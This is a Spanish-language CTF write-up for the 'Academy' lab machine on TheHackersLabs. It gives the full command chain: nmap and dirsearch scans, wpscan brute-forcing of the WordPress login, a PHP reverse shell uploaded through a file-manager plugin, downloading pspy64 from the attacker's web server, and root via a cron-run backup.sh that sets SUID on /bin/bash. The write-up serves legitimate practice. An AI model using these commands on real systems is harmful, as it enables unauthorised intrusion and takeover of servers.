Academy - TheHackersLabs
Esta maquina está clasificada como “Principiante” en la plataforma de Thehackerlabs, en este laboratorio vamos a ver técnicas como fuzzing web y una escalada de privilegios a través de tareas cron
Herramientas
nmap
dirsearch
wpscan
pspy64
1- Enumeración
Comenzamos con la etapa de enumeración para ello vamos a usar la herramienta nmap con los siguientes parámetros
sudo nmap -p- --open -sS -sC -sV -n -Pn 172.17.0.2 -oN nmap.txt
Parametro | Descripción |
---|---|
-p- | Escanear todos los puertos |
–open | Mostrar los puertos abiertos |
-sS | Sondeo de tipo SYN sigiloso |
-sV | Habilita la detección de versiones |
-n | Sin resolución de DNS |
-Pn | Omitir el descubrimiento de hosts |
-oN | Formato de salida del archivo |
Finalizado el escaneo podemos ver que se encuentran 2 puertos abiertos 22 que corresponde al servicio de SSH y el puerto 80 al servicio web Apache
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 12:53 -03
Nmap scan report for 192.168.6.36
Host is up (0.00054s latency).
Not shown: 45517 filtered tcp ports (no-response), 20016 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 cb:96:e2:96:ae:29:8d:89:da:c0:c6:86:d8:3a:57:12 (ECDSA)
|_ 256 8d:8d:c4:c3:5e:ba:f1:2f:ff:1a:d1:97:ef:6a:2f:34 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:7B:42:80 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.74 seconds
investigo el puerto 80 para ello ingreso en el navegador web http://192.168.6.36
,esta la pagina por default del servicio apache, por lo tanto voy hacer fuzzing web
El fuzzing web voy a realizarlo con la herramienta dirsearch
dirsearch -u http://192.168.6.36 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -x404 -e php,txt,py
parametro | descripcion |
---|---|
-u | Url o dirección ip |
-w | ruta del diccionario de fuzzing web |
-r | realizar una busqueda recursiva |
-x 404 | excluir la salida con codigo de error 404 |
-e | realizar busquedas por extensiones php,txt,py etc. |
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, py | HTTP method: GET | Threads: 25 | Wordlist size: 220545
Output File: /home/sonic/Desktop/Maquinas/TheHackerLabs/Academy/reports/http_192.168.6.36/_24-05-20_14-34-43.txt
Target: http://192.168.6.36/
[14:34:43] Starting:
[14:34:46] 301 - 316B - /wordpress -> http://192.168.6.36/wordpress/
Added to the queue: wordpress/
[14:50:51] 403 - 277B - /server-status
[15:07:14] Starting: wordpress/
[15:07:23] 301 - 327B - /wordpress/wp-content -> http://192.168.6.36/wordpress/wp-content/
Added to the queue: wordpress/wp-content/
[15:07:42] 301 - 328B - /wordpress/wp-includes -> http://192.168.6.36/wordpress/wp-includes/
Added to the queue: wordpress/wp-includes/
[15:09:40] 301 - 325B - /wordpress/wp-admin -> http://192.168.6.36/wordpress/wp-admin/
Added to the queue: wordpress/wp-admin/
Me encuentro que estamos frente a un directorio wordpress, por lo general las paginas de wordpress no suelen verse bien si no se agrega la dirección en el archivo /etc/hosts
para ello voy a realizar el siguiente procedimiento ingreso a la siguiente url http://192.168.6.36/wordpress
luego voy a ver el codifo fuente de la página presionando ctrl +u
puedo observar que la web apunta a la dirección academy.thl
Procedo a configurar el archivo /etc/hosts
nano /etc/hosts
agrego la ip 192.168.6.36
indicando que apunte a la dirección academy.thl
En el fuzzing web se pudo descubrir adicionalmente el directorio academy.thl/wordpress/wp-admin
el cual sabemos que es una pagina de login para la administración de wordpress, pero no tengo usuario ni contraseña, para ello voy hacer uso de la herramienta wpscan para enumerar el usuario
wpscan --url http://academy.thl/wordpress --enumerate u,vp
parametro | Descripcion |
---|---|
–url | url de la pagina a realizar fuzzing |
u | para que intente enumerar usuarios |
vp | para enumerar plugins |
El escaneo nos arroja un usuario dylan
[i] User(s) Identified:
[+] dylan
| Found By: Wp Json Api (Aggressive Detection)
| - http://academy.thl/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
ahora que tengo el usuario voy a intentar conseguir la contraseña
wpscan --url http://academy.thl/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames dylan
parametro | descripcion |
---|---|
–url | url de la pagina a realizar fuzzing |
–passwords | path de diccionario de contraseña |
-usernames | usuario |
[!] Valid Combinations Found:
| Username: dylan, Password: password1
ya con el usuario y la contraseña es momento de loguearse en el panel de administración de wordpress, luego de iniciar sesión veo que tengo un plugin para subir archivos, voy aprovecharlo para subir un payload
El payload lo voy a crear desde la pagina revshells con PHP PentestMonkey, guardo el archivo con el nombre pwned.php
2- Intrusión
Procedo a subir el payload con la reversehell en el plugin de wordpress Bit File Manager
me pongo a la escucha en mi maquina atacante nc -nlvp 8080
y procedo a ejecutar el payload en la url ingreso http://academy.thl/wordpress/pwned.php
me devuelve una conexión, ejecuto el comando whoami
y me devuelve el usuario www-data
se pudo realizar la intrusión al equipo
3- Tratamiento de la tty
Ya obtuvimos la intrusión pero la consola que nos devuelve puede ser un poco inestable y al presionar control + c
podemos perder la conexión para ellos voy hacer un tratamiento de la tty con los siguientes comandos
script /dev/null -c bash
presionar ctrl + z
stty raw -echo; fg
luego ejecutar
reset xterm
nota es posible que no muestre en pantalla lo que estamos tecleando
export TERM=xterm
export SHELL=bash
4- Escalada de privilegios
ya con la intrusión realizada y una consola mas estable es momento de escalar privilegios para ello en este caso voy a ser uso de la herramienta pspy64
la descargo y ahora voy a preceder a enviarla a la maquina victima para ello monto un servidor por el puerto 80 en mi maquina atacante
Ejecutar este comando en la maquina atacante, en el directorio donde se guardó el archivo pspy64
python3 -m http.server 80
Ahora es momento de descargar el archivo en la maquina victima para ello me voy a directorio /tmp el cual es perfecto para este tipo de acciones
ejecutar el siguiente comando en la maquina victima
wget 192.168.6.132/pspy64
con esto logré subir el archivo en la maquina victima ahora es momento de ejecutarlo, este programa muestra los procesos ejecutados por otros usuario sin necesidad de ser root, veo que se ejecuta un proceso llamado backup.sh
en el directorio /opt
./pspy64
veo que tengo permisos de escritura en el directorio /opt
procedo a revisarlo, me fijo que no existe el archivo backup.sh pero hay una tarea que lo ejecuta, por lo tanto voy aprovecharme de la tarea, ya que tengo permisos de escritura en el directorio voy a crear un archivo llamado backup.sh
para que se ejecute y así poder escalar privilegios
procedo a crear el archivo con permisos SUID con el siguiente comando
echo 'chmod u+s /bin/bash' >> backup.sh
Explicación del script anterior
Al establecer el bit SUID con chmod u+s /bin/bash
, cualquier usuario que ejecute /bin/bash
lo hará con los privilegios del propietario del archivo, que típicamente es el usuario root
.
le doy permisos de ejecución
chomod +x backup.sh
Esperamos un par de minutos y ejecuto el comando
bash -p
y automáticamente escalamos al usuario root
ya solo queda ver las flags, para ello hacemos un cat
Flag user
cat /home/debian/user.txt
Flag root
cat /root/root.txt